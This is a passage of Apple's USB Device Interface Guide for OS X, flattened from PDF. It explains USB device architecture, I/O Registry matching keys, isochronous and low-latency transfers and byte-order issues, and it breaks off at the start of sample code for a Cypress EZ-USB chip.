kernel, including the device interface mechanism provided by the I/O Kit. For an overview of the I/O Kit terms and concepts used in this document, read the chapter Device Access and the I/O Kit. 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 4 Introduction to USB Device Interface Guide● I/O Kit Framework Reference contains API reference for I/O Kit methods and functions and for specific device families. ● Sample Code > Hardware & Drivers > USB includes both application-level and in-kernel code samples. Of particular relevance to this document is the application-level sample USBPrivateDataSample . ● OS X Man Pages provides access to existing reference documentation for BSD and POSIX functions and tools in a convenient HTML format. ● The usb mailing list provides a forum for discussing technical issues relating to USB devices in OS X. If you need to develop an in-kernel driver for a USB modem or networking device, refer to the following: ● I/O Kit Fundamentals describesthe architecture ofthe I/OKit,the object-oriented framework for developing OS X device drivers. ● ADC members can view the AppleUSBCDCDriver project in the source code for OS X v10.3.7 and later, available at Darwin Releases. To find the source code, select a version of OS X equal to or greater than v10.3.7 and click Source (choose the source for the PPC version, if there's a choice). This displays a new page, which lists the open source projects available for the version of OS X you've chosen. Scroll down to AppleUSBCDCDriver and click it to view the source. Be prepared to supply your ADC member name and password. ● Additional code samples that demonstrate specific in-kernel driver programming techniques are included as part of the OS X Developer Toolsinstallation package in /Developer/Examples/Kernel/IOKit/usb. If you're ready to create a universal binary version of your USB device-access application to run in an Intel-based Macintosh,seeUniversalBinaryProgrammingGuidelines.TheUniversalBinaryProgrammingGuidelines describes the differences between the Intel and PowerPC architectures and provides tips for developing a universal binary. If you are working with a device that complies with the USB mass storage specification but declares its device class to be vendor specific, see Mass Storage Device Driver Programming Guide for information on how to ensure the correct built-in driver loads for the device. Apple provides additional USB information (including the OS X USB Debug Kits) at http://developer.apple.com/hardwaredrivers/usb/index.html. A detailed description of the USB device specification is beyond the scope of this document—for more information, see Universal Serial Bus Specification Revision 2.0 available at http://www.usb.org. Introduction to USB Device Interface Guide See Also 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 5This chapter provides a summary of USB device architecture and describes how USB devices are represented in OS X. It also presents a few specific guidelines for working with USB devices in an application.For details on the USB specification, see http://www.usb.org. USB Device Types and Bus Speeds The USB specification supports a wide selection of devices that range from lower-speed devices such as keyboards, mice, and joysticks to higher-speed devices such as scanners and digital cameras. The specification lists a number of device classes that each define a set of expected device behaviors. Table 1-1 (page 6) lists some examples of USB devices, categorized by class. Table 1-1 Examples of USB devices USB device class USB devices in class Audio class Speakers, microphones Chip Card Interface Device Class Smart cards, chip cards Communication class Speakerphone, modem A device in which all class-specific information is embedded in its interfaces Composite class HID class Keyboards, mice, joysticks, drawing tablets Hub class Hubs provide additional attachment points for USB devices Hard drives, flash memory readers, CD Read/Write drives, digital cameras, and high-end media players Mass storage class Printing class Printers A device that doesn’t fit into any other predefined class or one that doesn’t use the standard protocols for an existing class Vendor specific Digital camcorders, webcams, digital still cameras that support video streaming Video class 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 6 USB Device OverviewVersion 1.1 of the USB specification supports two bus speeds: ● Low speed (1.5 Mbps) ● Full speed (12 Mbps) Version 2.0 of the specification adds another bus speed to this list: ● High speed (480 Mbps) The USB 2.0 specification is fully compatible with low-speed and full-speed USB devices and even supports the use of cables and connectors made to meet earlier versions of the specification. Apple provides USB 2.0 ports on all new Macintosh computers and fully supports the new specification with Enhanced Host Controller Interface (EHCI) controllers and built-in, low-level USB drivers. For the most part, you do not have to change existing applications to support the faster data rate because the speed increase and other enhancements are implemented at such a low level. The exceptions to this are some differences in isochronous transfers. For information on how the USB 2.0 specification affects isochronous transfers, see “USB 2.0 and Isochronous Transfers” (page 10). USB Device Architecture and Terminology The architecture of a generic USB device is multi-layered. A device consists of one or more configurations, each of which describes a possible setting the device can be programmed into. Such settings can include the power characteristics of the configuration (for example, the maximum power consumed by the configuration and whether it is self-powered or not) and whether the configuration supports remote wake-up. Each configuration contains one or more interfacesthat are accessible after the configuration isset. An interface provides the definitions of the functions available within the device and may even contain alternate settings within a single interface. For example, an interface for an audio device may have different settings you can select for different bandwidths. Each interface contains zero or more endpoints. An endpoint is a uniquely identifiable portion of a USB device that is the source or sink of information in a communication flow between the host and the device. Each endpoint has characteristics that describe the communication it supports, such as transfer type (control, isochronous, interrupt, or bulk, described in “USB Transfer Types” (page 8)), maximum packet size, and transfer direction (input or output). Communication with a USB device is accomplished through a pipe, a logical association between an endpoint and software running on the host. Endpoint and pipe are often used synonymously although an endpoint is a component of a USB device and a pipe is a logical abstraction of the communications link between endpoint and host. USB Device Overview USB Device Architecture and Terminology 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 7USB Device Component Descriptors Each layer of a USB device providesinformation about its attributes and resource requirementsin its descriptor, a data structure accessible through device interface functions. By examining the descriptors at each layer, you can determine exactly which endpoint you need to communicate successfully with a particular device. At the top layer is the device descriptor, which has fields associated with information such as the device’s class and subclass, vendor and product numbers, and number of configurations. Each configuration in turn has a configuration descriptor containing fields that describe the number of interfaces it supports and the power characteristics of the device when it is in that configuration, along with other information. Each interface supported by a configuration has its own descriptor with fields for information such as the interface class, subclass, and protocol, and the number of endpoints in that interface. At the bottom layer are the endpoint descriptors that specify attributes such as transfer type and maximum packet size. The USB specification defines a name for each descriptor field, such as the bDeviceClass field in the device descriptor and the bNumInterfaces field in the configuration descriptor, and each field is associated with a value. For a complete listing of all descriptor fields, see the USB specification at www.usb.org. The USB family defines structures that represent the descriptors defined by the USB specification. For the definitions of these structures, see USB in Kernel Framework Reference . USB Composite Class Devices The USB specification defines a composite class device as a device whose device-descriptor fields for device class (bDeviceClass) and device subclass (bDeviceSubClass) both have the value 0. A composite class device appears to the system as a USB device using a single bus address that may present multiple interfaces, each of which represents a separate function. A good example of a composite class device is a multifunction device, such as a device that performs printing, scanning, and faxing. In such a device, each function is represented by a separate interface. In OS X, the I/O Kit loads the AppleUSBComposite device driver for composite class devices that do not already have vendor-specific device drivers to drive them. The AppleUSBComposite driver configures the device and causes drivers to be loaded for each USB interface. Although most multifunction USB devices are composite class devices, not all composite class devices are multifunction devices. The manufacturer of a single-function USB device is at liberty to classify the device as a composite class device as long as the device meets the USB specifications. For more information on how OS X represents USB devices and interfaces, see “USB Devices on OS X” (page 11). USB Transfer Types The USB specification defines four types of pipe transfer: ● Control—intended to support configuration, command, and status communication between the host software and the device. Control transfers support error detection and retry. USB Device Overview USB Device Architecture and Terminology 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 8● Interrupt—used to support small, limited-latency transfers to or from a device such as coordinates from a pointing device or status changes from a modem. Interrupt transfers support error detection and retry. ● Isochronous—used for periodic, continuous communication between the host and the device, usually involving time-relevant information such as audio or video data streams. Isochronous transfers do not support error detection or retry. ● Bulk—intended for non-periodic, large-packet communication with relaxed timing constraints such as between the host software and a printer or scanner. Bulk transfers support error detection and retry. Pipes also have a transfer direction associated with them. A control pipe can support bidirectional communication but all other pipes are strictly uni-directional. Therefore, two-way communication requires two pipes, one for input and one for output. Every USB device is required to implement a default control pipe that provides access to the device’s configuration, status, and control information. This pipe, implemented in the IOUSBDevice nub object (described in “USB Devices on OS X” (page 11)), is used when a driver such as the AppleUSBComposite driver configures the device or when device-specific control and status information is needed. For example, your application would use the default control pipe if it needs to set or choose a configuration for the device. The default control pipe is connected to the default endpoint (endpoint 0). Note that endpoint 0 does not provide an endpoint descriptor and it is never counted in the total number of endpoints in an interface. The interfaces associated with a configuration can contain any combination of the three remaining pipe types (interrupt, isochronous, and bulk), implemented in the IOUSBInterface nub objects (described in “USB Devices on OS X” (page 11)). Your application can query the interface descriptors of a device to select the pipe most suited to its needs. Stalls and Halts Although a stall and a halt are different, they are closely related in their effect on data transmission. Halt is a feature of an endpoint and it can be set by either the host or the device itself in response to an error. A stall is a type of handshake packet an endpoint returns when it is unable to transmit or receive data or when its halt feature is set (the host never sends a stall packet). When an endpoint sends a stall packet, the host can halt the endpoint. Depending on the precise circumstances and on how compliant the device is, the halt feature must be cleared in the host, the endpoint, or both before data transmission can resume. When the halt is cleared the data toggle bit, used to synchronize data transmission, is also reset (see “Data Synchronization in Non-Isochronous Transfers” (page 10) for more information about the data toggle). For information on how to handle these conditions in your application, see “Handling Stalls, Halts, and Data Toggle Resynchronization” (page 15). USB Device Overview USB Device Architecture and Terminology 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 9Data Synchronization in Non-Isochronous Transfers The USB specification defines a simple protocol to provide data synchronization across multiple packets for non-isochronoustransfers(recall that isochronoustransfers do notsupport error recovery or retry). The protocol is implemented by means of a data toggle bit in both the host and the endpoint which is synchronized at the start of a transaction (or when a reset occurs). The precise synchronization mechanism varies with the type of transfer; see the USB specification for details. Both the host and the endpoint begin a transaction with their data toggle bitsset to zero. In general, the entity receiving data toggles its data toggle bit when it is able to accept the data and it receives an error-free data packet with the correct identification. The entity sending the data toggles its data toggle bit when it receives a positive acknowledgement from the receiver. In this way, the data toggle bits stay synchronized until, for example, a packet with an incorrect identification is received. When this happens, the receiver ignores the packet and does not increment its data toggle bit. When the data toggle bits get out of synchronization (for this or any other reason), you will probably notice that alternate transactions are not getting through in your application. The solution to this is to resynchronize the data toggle bits. For information on how to do this, see “Handling Stalls, Halts, and Data Toggle Resynchronization” (page 15). USB 2.0 and Isochronous Transfers The USB 2.0 specification supports the same four transfer types as earlier versions of the specification. In addition to supporting a higher transfer rate, the new specification defines an improved protocol for high-speed transfers and new ways of handling transactions for low-speed and full-speed devices. For details on the protocols and transaction-handling methods, see the specification at http://www.usb.org. For the most part, these enhancements are implemented at the hostsoftware level and do not require changes to your code. For isochronous transfers, however, you should be aware of the following differences: ● Earlier versions of the specification divide bus time into 1-millisecond frames, each of which can carry multiple transactionsto multiple destinations. (A transaction containstwo or more packets: a token packet and one or more data packets, a handshake packet, or both.) The USB 2.0 specification divides the 1-millisecond frame into eight, 125-microsecond microframes, each of which can carry multiple transactions to multiple destinations. ● The maximum amount of data allowed in a transaction is increased to 3 KB. ● Any isochronous endpoints in a device’s default interface must have a maximum packet size of zero. (This means that the default setting for an interface containing isochronous pipes is alternate setting zero and the maximum packet size for that interface’s isochronous endpoints must be zero.) This ensures that the host can configure the device no matter how busy the bus is. For a summary of how these differences affect the OS X USB API, see “Changes in Isochronous Functions to Support USB 2.0” (page 17). USB Device Overview USB Device Architecture and Terminology 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 10USB Devices on OS X When a USB device is plugged in, the OS X USB family abstracts the contents of the device descriptor into an I/O Kit nub object called an IOUSBDevice. This nub object is attached to the IOService plane of the I/O Registry as a child of the driver for the USB controller. The IOUSBDevice nub object is then registered for matching with the I/O Kit. If the device is a composite class device with no vendor-specific driver to match against it, the AppleUSBComposite driver matches against it and starts as its provider. The AppleUSBComposite driver then configures the device by setting the configuration in the device’s list of configuration descriptors with the maximum power usage that can be satisfied by the port to which the device is attached. This allows a device with a low power and a high power configuration to be configured differently depending on whether it’s attached to a bus-powered hub or a self-powered hub. In addition, if the IOUSBDevice nub object has the “Preferred Configuration” property, the AppleUSBComposite driver will always use that value when it attempts to configure the device. The configuration of the device causes the USB family to abstract each interface descriptor in the chosen configuration into an IOUSBInterface nub object. These nub objects are attached to the I/O Registry as children of the original IOUSBDevice nub object and are registered for matching with the I/O Kit. Important: Because a composite class device is configured by the AppleUSBComposite driver, setting the configuration again from your application will result in the destruction of the IOUSBInterface nub objects and the creation of new ones. In general, the only reason to set the configuration of a composite class device that’s matched by the AppleUSBComposite driver is to choose a configuration other than the first one. For non-composite class devices or composite class devices with vendor-specific drivers that match against them, there is no guarantee that any configuration will be set and you may have to perform this task within your application. It's important to be mindful of the difference between a USB device (represented in the I/O Registry by an IOUSBDevice nub object) and its interfaces (each represented by an IOUSBInterface nub object). A multifunction USB device, for example, is represented in the I/O Registry by one IOUSBDevice object and one IOUSBInterface object for each interface. The distinction between interface and device isimportant because it determines which object your application must find in the I/O Registry and which type of device interface to get. For example, if your application needs to communicate with a specific interface in a multifunction USB device, it must find that interface and get an IOUSBInterfaceInterface to communicate with it. An application that needs to communicate with the USB device as a whole, on the other hand, would need to find the device in the I/O Registry and get an IOUSBDeviceInterface to communicate with it. For more information on finding devices and interfaces in USB Device Overview USB Devices on OS X 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 11the I/O Registry, see “Finding USB Devices and Interfaces” (page 12); for more information on how to get the proper device interface to communicate with a device or interface, see “Using USB Device Interfaces” (page 20). Finding USB Devices and Interfaces To find a USB device or interface, use the keys defined in the Universal Serial Bus Common Class Specification, Revision 1.0 (available for download from http://www.usb.org/developers/devclass_docs/usbccs10.pdf) to create a matching dictionary that defines a particular search. If you are unfamiliar with the concept of device matching, see the section “Finding Devices in the I/O Registry” in Accessing Hardware From Applications. The keys defined in the specification are listed in the tables below. Each key consists of a specific combination of elements in a device or interface descriptor. In the tables below, the elements in a key are separated by the ‘+’ character to emphasize the requirement that all a key’s elements must appear together in your matching dictionary. Both tables present the keys in order of specificity: the first key in each table defines the most specific search and the last key defines the broadest search. Before you build a matching dictionary, be sure you know whether your application needs to communicate with a device or a specific interface in a device. It’s especially important to be aware of this distinction when working with multifunction devices. A multifunction device is often a composite class device that defines a separate interface for each function. If, for example, your application needs to communicate with the scanning function of a device that does scanning, faxing, and printing, you need to build a dictionary to match on only the scanning interface (an IOUSBInterface object), not the device as a whole (an IOUSBDevice object). In this situation, you would use the keys defined for interface matching (those shown in Table 1-3 (page 13)), not the keys for device matching. Table 1-2 (page 12) lists the keys you can use to find devices (not interfaces). Each key element is a piece of information contained in the device descriptor for a USB device. Table 1-2 Keys for finding a USB device Key Notes bcdDevice contains the release number of the device idVendor + idProduct + bcdDevice idVendor + idProduct Use this key only if the device’s bDeviceClass is $FF idVendor + bDeviceSubClass + bDeviceProtocol Use this key only if the device’s bDeviceClass is $FF idVendor + bDeviceSubClass USB Device Overview USB Devices on OS X 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 12Key Notes Use this key only if the device’s bDeviceClass is not $FF bDeviceClass + bDeviceSubClass + bDeviceProtocol Use this key only if the device’s bDeviceClass is not $FF bDeviceClass + bDeviceSubClass Table 1-3 (page 13) lists the keys you can use to find interfaces (not devices). Each key element is a piece of information contained in an interface descriptor for a USB device. Table 1-3 Keys for finding a USB interface Key Notes idVendor + idProduct + bcdDevice + bConfigurationValue + bInterfaceNumber idVendor + idProduct + bConfigurationValue + bInterfaceNumber Use this key only if bInterfaceClass is $FF idVendor + bInterfaceSubClass + bInterfaceProtocol Use this key only if bInterfaceSubClass is $FF idVendor + bInterfaceSubClass Use this key only if bInterfaceSubClass is not $FF bInterfaceClass + bInterfaceSubClass + bInterfaceProtocol Use this key only if bInterfaceSubClass is not $FF bInterfaceClass + bInterfaceSubClass For a successful search, you must add the elements of exactly one key to your matching dictionary. If your matching dictionary contains a combination of elements not defined by any key, the search will be unsuccessful. For example, if you create a matching dictionary containing values representing a device’s vendor, product, and protocol, the search will be unsuccessful even if a device with those precise values in its device descriptor is currently represented by an IOUSBDevice nub in the I/O Registry. This is because there is no key in Table 1-2 (page 12) that combines the idVendor, idProduct, and bDeviceProtocol elements. USB Device Overview USB Devices on OS X 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 13USB Family Error Codes As you develop an application to access a USB device or interface, you will probably encounter error codes specific to the OS X USB family. If you are using Xcode, you can search for information about these error codes in the Xcode documentation window. To find error code documentation, select Documentation from the Xcode Help menu. Select Full-Text Search from the pull-down menu associated with the search field (click the magnifying glass icon to reveal the menu). Select Reference Library in the Search Groups pane at the left of the window. Type an error code number in the search field, such as 0xe0004057, and press Return. Select the most relevant entry in the search results to display the document in the lower portion of the window. Use the Find command (press Command-F) to find the error code in this document. Using the example of error code 0xe0004057, you’ll see that this error is returned when the endpoint has not been found. For help with deciphering I/O Kit error codes in general, see Technical Q&A QA1075, “Making sense of I/O Kit error codes.” Determining Which Interface Version to Use As described in “USB Devices on OS X” (page 11), the OS X USB family provides an IOUSBDeviceInterface object you use to communicate with a USB device as a whole and an IOUSBInterfaceInterface object you use to communicate with an interface in a USB device. There are a number of different versions of the USB family, however, some of which provide new versions of these interface objects. (One way to find the version of the USB family installed in your computer is to view the Finder preview information for the IOUSBFamily.kext located in /System/Library/Extensions.) This section describes how to make sure you use the correct interface object and how to view the documentation for the interface objects. The first version of the USB family was introduced in OS X v10.0 and contains the first versions of the interface objects IOUSBDeviceInterface and IOUSBInterfaceInterface. When new versions of the USB family introduce new functions for an interface object, a new version of the interface object is created, which gives access to both the new functions and all functions defined in all previous versions of that interface object. For example, the IOUSBDeviceInterface197 object provides two new functions you can use with version 1.9.7 of the USB family (available in OS X v10.2.3 and later), in addition to all functions available in the previous device interface objects IOUSBDeviceInterface187, IOUSBDeviceInterface182, and IOUSBDeviceInterface. As you develop an application that accesses a USB device or interface, you should use the latest version of the interface object that is available in the earliest version of OS X that you want to support. For example, if your application must run in OS X v10.0, you must use the IOUSBDeviceInterface and IOUSBInterfaceInterface objects. If, however, you develop an application to run in OS X v10.4 and later, you use the IOUSBDeviceInterface197 object to access the device as a whole and the USB Device Overview USB Devices on OS X 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 14IOUSBInterfaceInterface220 object to access an interface in it. This is because IOUSBDeviceInterface197 is available inOS X version 10.2.3 and later and IOUSBInterfaceInterface220 is available in OS X v10.4 and later. Note: When you view the documentation for these interface objects, notice that each version is documented separately. For example, the documentation for IOUSBDeviceInterface197 contains information about the two new functions introduced in this version, but does not repeat the documentation for the functions introduced in IOUSBDeviceInterface187, IOUSBDeviceInterface182, and IOUSBDeviceInterface. Tasks and Caveats This section presents some specific tasks your application might need to perform, along with some caveats related to USB 2.0 support of which you should be aware. Handling Stalls, Halts, and Data Toggle Resynchronization As described in “Stalls and Halts ” (page 9), stalls and halts are closely related in their effect on data transmission. To simplify the API, the USB family uses the pipe stall terminology in the names of the functions that handle these conditions: ● ClearPipeStall ● ClearPipeStallBothEnds The ClearPipeStall function operates exclusively on the host controller side, clearing the halt feature and resetting the data toggle bit to zero. If the endpoint’s halt feature and data toggle bit must be reset as well, your application must do so explicitly, using one of the ControlRequest functions to send the appropriate device request. See the documentation for the USB.h header file in I/O Kit Framework Reference for more information about standard device requests. In OS X version 10.2 and later, you can use the ClearPipeStallBothEnds function which, as its name suggests, clears the halt and resets the data toggle bit on both sides at the same time. Using the Low Latency Isochronous Functions In OS X, the time between when an isochronous transaction completes on the USB bus and when you receive your callback can stretch to tens of milliseconds. This is because the callback happens on the USB family work loop, which runs at a lower priority than some other threads in the system. In most cases, you can work around USB Device Overview Tasks and Caveats 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 15this delay by queuing read and write requests so that the next transaction is scheduled and ready to start before you receive the callback from the current transaction. In fact, this scheme is a good way to achieve higher performance whether or not low latency is a requirement of your application. In a few cases, however, queuing isochronous transactions to keep the pipe busy is not enough to prevent a latency problem that a user might notice. Consider an application that performs audio processing on some USB input (from a musical instrument, for example) before sending the processed data out to USB speakers. In this scenario, a user hears both the raw, unprocessed output of the instrument and the processed output of the speakers. Of course, some small delay between the time the instrument creates the raw sound waves and the time the speaker emits the processed sound waves is unavoidable. If this delay is greater than about 8 milliseconds, however, the user will notice. In OS X version 10.2.3 (version 1.9.2 of the USB family) the USB family solves this problem by taking advantage of the predictability of isochronous data transfers. By definition, isochronous mode guarantees the delivery of some amount of data every frame or microframe. In earlier versions of OS X, however, it was not possible to find out the exact amount of data that was transferred by a given time. This meant that an application could not begin processing the data until it received the callback associated with the transaction, telling it the transfer status and the actual amount of data that was transferred. Version 1.9.2 of the USB family introduced the LowLatencyReadIsochPipeAsync and LowLatencyWriteIsochPipeAsync functions. These functions update the frame list information (including the transferstatus and the number of bytes actually transferred) at primary interrupt time. Using these functions, an application can request that the frame list information be updated as frequently as every millisecond. This means an application can retrieve and begin processing the number of bytes actually transferred once a millisecond, without waiting for the entire transaction to complete. Important: Because these functions cause processing at primary interrupt time, it is essential you use them only if it is absolutely necessary. Overuse of these functions can cause degradation of system performance. To support the low latency isochronous read and write functions, the USB family also introduced functions to create and destroy the buffers that hold the frame list information and the data. Although you can choose to create a single data buffer and a single frame list buffer or multiple buffers of each type, you must use the LowLatencyCreateBuffer function to create them. Similarly, youmust use the LowLatencyDestroyBuffer function to destroy the buffers after you are finished with them. This restricts all necessary communication with kernel entities to the USB family. For reference documentation on the low latency isochronous functions, see the IOUSBLib.h documentation in I/O Kit Framework Reference . USB Device Overview Tasks and Caveats 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 16Errors Reported by the EHCI Hub The EHCI hub that supports high-speed devices (as well as low-speed and full-speed devices) provides coarser-grained error reporting than the OHCI hub does. For example, with an OHCI hub, you might receive an “endpoint timed out” error if you unplug the device while it is active. If you perform the same action with an EHCI hub, you might receive a “pipe stalled” error instead. The Apple EHCI hub driver cannot get more detailed error information from the hub, so it alternates between reporting “device not responding” and “pipe stalled” regardless of the actual error reported by the device. To avoid problems with your code, be sure your application does not rely on other, more specific errors to make important decisions. Changes in Isochronous Functions to Support USB 2.0 Recall that the USB 2.0 specification divides the 1-millisecond frame into eight, 125-microsecond microframes. The USB family handles this by reinterpreting some function parameters (where appropriate) and adding a couple of new functions. This section summarizes these changes; for reference documentation, see documentation for IOUSBLib.h in I/O Kit Framework Reference . The functions you use to read from and write to isochronous endpoints are ReadIsochPipeAsync and WriteIsochPipeAsync. Both functions include the following two parameters: ● numFrames—The number of frames for which to transfer data ● frameList—A pointer to an array of structures that describe the frames If you need to handle high-speed isochronous transfers, you can think of these parameters as referring to “transfer opportunities” instead of frames. In other words, numFrames can refer to a number of frames for full-speed devices or to a number of microframes for high-speed devices. Similarly, frameList specifies the list of transfers you want to occur, whether they are in terms of frames or microframes. Note: The ReadIsochPipeAsync and WriteIsochPipeAsync functions also have the frameStart parameter in common, but it does not get reinterpreted. Thisis because all isochronoustransactions, including high-speed isochronoustransactions,start on a frame boundary, not amicroframe boundary. To help you determine whether a device isfunctioning in full-speed or high-speed mode, the USB family added the GetFrameListTime function, which returns the number of microseconds in a frame. By examining the result (kUSBFullSpeedMicrosecondsInFrame or kUSBHighSpeedMicrosecondsInFrame) you can tell in which mode the device is operating. USB Device Overview Tasks and Caveats 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 17The USB family also added the GetBusMicroFrameNumber function which is similar to the GetBusFrameNumber function, except that it returns both the current frame and microframe number and includes the time at which that information was retrieved. To handle the new specification’s requirement that isochronous endpoints in a device’s default interface have a maximum packetsize of zero, the USB family added functionsthat allow you to balance bandwidth allocations among isochronous endpoints. A typical scenario is this: 1. Call GetBandwidthAvailable (available inOS X version 10.2 and later)to determine howmuch bandwidth is currently available for allocation to isochronous endpoints. 2. Call GetEndpointProperties (available in OS X version 10.2 and later) to examine the alternate settings of an interface and find one that uses an appropriate amount of bandwidth. 3. Call SetAlternateInterface (available in OS X version 10.0 and later) to create the desired interface and allocate the pipe objects. 4. Call GetPipeProperties (available in OS X version 10.0 and later) on the chosen isochronous endpoint. Thisis a very importantstep because SetAlternateInterface willsucceed, even if there is not enough bandwidth for the endpoints. Also, another device might have claimed the bandwidth that was available at the time the GetBandwidthAvailable function returned. If this happens, the maximum packet size for your chosen endpoint (contained in the maxPacketSize field) is now zero, which means that the bandwidth is no longer available. In addition, in OS X version 10.2, the USB family added the SetPipePolicy function, which allows you to relinquish bandwidth that might have been specified in an alternate setting. USB Device Access in an Intel-Based Macintosh This section provides an overview of some of the issues related to developing a universal binary version of an application that accesses a USB device. Before you read this section, be sure to read Universal Binary Programming Guidelines. That document covers architectural differences and byte-ordering formats and provides comprehensive guidelines for code modification and building universal binaries. The guidelines in that document apply to all types of applications, including those that access hardware. Before you build your application as a universal binary, make sure that: ● You port your project to GCC 4 (Xcode uses GCC 4 to target Intel-based Macintosh computers) ● You install the OS X v10.4 universal SDK ● You develop your project in Xcode 2.1 or later USB Device Overview USB Device Access in an Intel-Based Macintosh 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 18The USB bus is a little-endian bus. Structured data appears on the bus in the little-endian format regardless of the native endian format of the computer an application isrunning in. If you've developed a USB device-access application to run in a PowerPC-based Macintosh, you probably perform some byte swapping on data you read from the USB bus because the PowerPC processor uses the big-endian format. For example, the USB configuration descriptor structure contains a two-byte field that holds the descriptor length. If your PowerPC application reads this structure from the USB bus (instead of receiving it from a USB device interface function), you need to swap the value from the USB bus format (little endian) to the PowerPC format (big endian). The USB family provides several swapping macros that swap from USB to host and from host to USB (for more information on these macros, see USB.h). The Kernel framework also provides byte-swapping macros and functions you can use in high-level applications (see the OSByteOrder.h header file in libkern). If you use these macros in your application, you shouldn't have any trouble developing a universal binary version of your application. This is because these macros determine at compile time if a swap is necessary. If, however, your application uses hard-coded swaps from little endian to big endian, your application will not run correctly in an Intel-based Macintosh. As you develop a universal binary version of your application, therefore, be sure to use the USB family swapping macros or the macros in libkern/OSByteOrder.h for all byte swapping. Although you may need to perform byte swapping on values your application reads from the USB bus, you do not need to perform any byte swapping on values you pass in arguments to functions in the USB family API. You should pass argument values in the computer's host format. Likewise, any values you receive from the USB family functions will be in the computer's host format. USB Device Overview USB Device Access in an Intel-Based Macintosh 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 19This chapter describes how to develop a user-space tool that finds and communicates with an attached USB device and one of its interfaces. Important: The sample code featured in this document isintended to illustrate how to access a USB device from an application. It is not intended to provide guidance on error handling and other features required for production-quality code. Using USB Device Interfaces Applications running in OS X get access to USB devices by using I/O Kit functions to acquire a device interface, a type of plug-in that specifies functions the application can call to communicate with the device. The USB family provides two types of device interface: ● IOUSBDeviceInterface for communicating with the device itself ● IOUSBInterfaceInterface for communicating with an interface in the device Both device interfaces are defined in /System/Library/Frameworks/IOKit.framework/Headers/usb/IOUSBLib.h. Communicating with the device itself is usually only necessary when you need to set or change its configuration. For example, vendor-specific devices are often not configured because there are no default drivers that set a particular configuration. In this case, your application must use the device interface for the device to set the configuration it needs so the interfaces become available. Important: If your application is sandboxed, it must request the com.apple.security.device.usb entitlement in order to access USB devices. The process of finding and communicating with a USB device is divided into two sets of steps. The first set outlines how to find a USB device, acquire a device interface of type IOUSBDeviceInterface for it, and set or change its configuration. The second set describes how to find an interface in a device, acquire a device interface of type IOUSBInterfaceInterface for it, and use it to communicate with that interface. If you need to communicate with an unconfigured device or if you need to change a device’s configuration, you follow both sets of steps. If you need to communicate with a device that is already configured to your 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 20 Working With USB Device Interfacesspecification, you follow only the second set of steps. The sample code in “Accessing a USB Device” (page 22) follows both sets of steps and extends them to include setting up notifications it can receive when devices are dynamically added or removed. Follow this first set of steps only to set or change the configuration of a device. If the device you’re interested in is already configured for your needs, skip these steps and follow the second set of steps. 1. Find the IOUSBDevice object that represents the device in the I/O Registry. This includes setting up a matching dictionary with a key from the USB Common Class Specification (see “Finding USB Devices and Interfaces” (page 12)). The sample code usesthe key elements kUSBVendorName and kUSBProductName to find a particular USB device (this is the second key listed in Table 1-2 (page 12)). 2. Create a device interface of type IOUSBDeviceInterface for the device. This device interface provides functionsthat perform taskssuch assetting or changing the configuration of the device, getting information about the device, and resetting the device. 3. Examine the device’s configurations with GetConfigurationDescriptorPtr, choose the appropriate one, and call SetConfiguration to set the device’s configuration and instantiate the IOUSBInterface objects for that configuration. Follow thissecond set ofstepsto find and choose an interface, acquire a device interface for it, and communicate with the device. 1. Create an interface iterator to iterate over the available interfaces. 2. Create a device interface for each interface so you can examine its properties and select the appropriate one. To do this, you create a device interface of type IOUSBInterfaceInterface. This device interface providesfunctionsthat perform taskssuch as getting information about the interface,setting the interface’s alternate setting, and accessing its pipes. 3. Use the USBInterfaceOpen function to open the selected interface. This will cause the pipes associated with the interface to be instantiated so you can examine the properties of each and select the appropriate one. 4. Communicate with the device through the selected pipe. You can write to and read from the pipe synchronously or asynchronously—the sample code in “Accessing a USB Device” (page 22) shows how to do both. Working With USB Device Interfaces Using USB Device Interfaces 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 21Accessing a USB Device This section provides snippets of sample code that show how to access a Cypress EZ-USB chip with an 8051 microcontroller core. The sample code followsthe firstset ofstepsin section “Using USB Device Interfaces” (page 20) to find the Cypress EZ-USB chip in its default, unprogrammed state (also referred to as the “raw device”). It then configures the device and downloads firmware provided by Cypress to program the chip to behave as a device that echoes all information it receives on its bulk out pipe to its bulk in pipe. Once the chip has been programmed, the device nub representing the default, unprogrammed device is detached from the I/O Registry and a new device nub, representing the programmed chip, is attached. To communicate with the programmed chip (also referred to as the “bulk test device”), the sample code must perform the first set of steps again to find the device, create a device interface for it, and configure it. Then it performs the second set of steps to find an interface, create a device interface for it, and test the device. The sample code also shows how to set up notifications for the dynamic addition and removal of a device. Important: If your application is sandboxed, it must request the com.apple.security.device.usb entitlement in order to access USB devices. Definitions and Global Variables The code in the USB Notification Example uses the definitions and global variables shown in Listing 2-1 (page 22). The definition of USE_ASYNC_IO allows you to choose to use either synchronous or asynchronous calls to read from and write to the chip by commenting out the line or leaving it in, respectively. The definition of kTestMessage sets up a simple message to write to the device. The remaining definitions are specific to the Cypress EZ-USB chip. Listing 2-1 Definitions and global variables #define USE_ASYNC_IO //Comment this line out if you want to use //synchronous calls for reads and writes #define kTestMessage "Bulk I/O Test" #define k8051_USBCS 0x7f92 #define kOurVendorID 1351 //Vendor ID of the USB device #define kOurProductID 8193 //Product ID of device BEFORE it //is programmed (raw device) #define kOurProductIDBulkTest 4098 //Product ID of device AFTER it is //programmed (bulk test device) //Global variables Working With USB Device Interfaces Accessing a USB Device 2012-01-09 | © 2002, 2012 Apple Inc. All Rights Reserved. 22static IONotificationPortRef gNotifyPort; static io_iterator_t 